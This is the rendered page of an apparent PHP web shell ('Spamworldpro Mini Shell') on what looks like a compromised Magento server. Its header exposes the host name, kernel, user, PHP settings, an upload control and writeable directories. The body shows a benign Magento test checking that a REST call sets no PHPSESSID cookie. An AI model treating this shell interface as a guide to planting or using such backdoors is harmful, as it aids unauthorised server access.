Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/dev/tests/api-functional/testsuite/Magento/Webapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/dev/tests/api-functional/testsuite/Magento/Webapi/RestSessionCookieTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

namespace Magento\Webapi;

use Magento\Framework\Module\Manager;
use Magento\TestFramework\Helper\Bootstrap;

/**
 * Class for RestSessionCookieTest
 */
class RestSessionCookieTest extends \Magento\TestFramework\TestCase\WebapiAbstract
{

    private $moduleManager;
    private $objectManager;

    /**
     * @inheritdoc
     */
    protected function setUp(): void
    {
        $this->objectManager = Bootstrap::getObjectManager();
        $this->moduleManager = $this->objectManager->get(Manager::class);
        if ($this->moduleManager->isEnabled('Magento_B2b')) {
            $this->markTestSkipped('Skipped, because this logic is rewritten on B2B.');
        }
    }

    /**
     * Check for non exist cookie PHPSESSID
     */
    public function testRestSessionNoCookie()
    {
        $this->_markTestAsRestOnly();
        /** @var $curlClient CurlClientWithCookies */

        $curlClient = $this->objectManager
            ->get(\Magento\TestFramework\TestCase\HttpClient\CurlClientWithCookies::class);
        $phpSessionCookieName =
            [
                'cookie_name' => 'PHPSESSID',
            ];

        $response = $curlClient->get('/rest/V1/directory/countries', []);

        $cookie = $this->findCookie($phpSessionCookieName['cookie_name'], $response['cookies']);
        $this->assertNull($cookie);
    }

    /**
     * Find cookie with given name in the list of cookies
     *
     * @param string $cookieName
     * @param array $cookies
     * @return $cookie|null
     * @SuppressWarnings(PHPMD.UnusedLocalVariable)
     */
    private function findCookie($cookieName, $cookies)
    {
        foreach ($cookies as $cookieIndex => $cookie) {
            if ($cookie['name'] === $cookieName) {
                return $cookie;
            }
        }
        return null;
    }
}

Spamworldpro Mini